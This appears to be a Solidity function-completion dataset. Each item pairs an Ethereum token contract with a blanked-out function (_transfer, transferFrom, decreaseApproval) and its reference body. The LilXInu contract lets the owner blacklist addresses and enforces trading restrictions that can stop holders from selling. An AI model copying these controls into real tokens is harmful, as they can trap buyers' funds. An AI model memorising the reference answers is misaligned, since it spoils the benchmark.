allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success)
function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success)
51935
LilXInu
_transfer
contract LilXInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 *10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Lil X Inu"; string private constant _symbol = 'xINU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
contract LilXInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 *10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Lil X Inu"; string private constant _symbol = 'xINU'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (360 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee);
function _transfer(address from, address to, uint256 amount) private
function _transfer(address from, address to, uint256 amount) private
64341
MCoinToken
transferFrom
contract MCoinToken is DSTokenBase, DSStop { string public symbol = "MC"; string public name = "MCoin"; uint256 public decimals = 18; string public version = "M0.1"; // GMAT version constructor() public { _supply = 14900000000000000000000000000; _balances[msg.sender] = _supply; } function transfer(address dst, uint wad) public stoppable note returns (bool) { return super.transfer(dst, wad); } function transferFrom(address src, address dst, uint wad) public stoppable note returns (bool) {<FILL_FUNCTION_BODY> } function approve(address guy, uint wad) public stoppable note returns (bool) { return super.approve(guy, wad); } function push(address dst, uint wad) public returns (bool) { return transfer(dst, wad); } function pull(address src, uint wad) public returns (bool) { return transferFrom(src, msg.sender, wad); } }
contract MCoinToken is DSTokenBase, DSStop { string public symbol = "MC"; string public name = "MCoin"; uint256 public decimals = 18; string public version = "M0.1"; // GMAT version constructor() public { _supply = 14900000000000000000000000000; _balances[msg.sender] = _supply; } function transfer(address dst, uint wad) public stoppable note returns (bool) { return super.transfer(dst, wad); } <FILL_FUNCTION> function approve(address guy, uint wad) public stoppable note returns (bool) { return super.approve(guy, wad); } function push(address dst, uint wad) public returns (bool) { return transfer(dst, wad); } function pull(address src, uint wad) public returns (bool) { return transferFrom(src, msg.sender, wad); } }
return super.transferFrom(src, dst, wad);
function transferFrom(address src, address dst, uint wad) public stoppable note returns (bool)
function transferFrom(address src, address dst, uint wad) public stoppable note returns (bool)
75238
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /* * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) returns (bool)
91877
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
85355
ETF
transferAnyERC20Token
contract ETF is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } modifier valueAccepted() { require(msg.value%(1*10**16)==0); _; } // ------------------------------------------------------------------------ // airdrop params // ------------------------------------------------------------------------ uint256 public _airdropAmount; uint256 public _airdropTotal; uint256 public _airdropSupply; uint256 public _totalRemaining; mapping(address => bool) initialized; bool public distributionFinished = false; mapping (address => bool) public blacklist; event Distr(address indexed to, uint256 amount); event DistrFinished(); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "ETF"; name = "Exchange Traded Fund"; decimals = 18; _totalSupply = 1000000000 * 10 ** uint256(decimals); _airdropAmount = 8000 * 10 ** uint256(decimals); _airdropSupply = 300000000 * 10 ** uint256(decimals); _totalRemaining = _airdropSupply; balances[owner] = _totalSupply.sub(_airdropSupply); emit Transfer(address(0), owner, 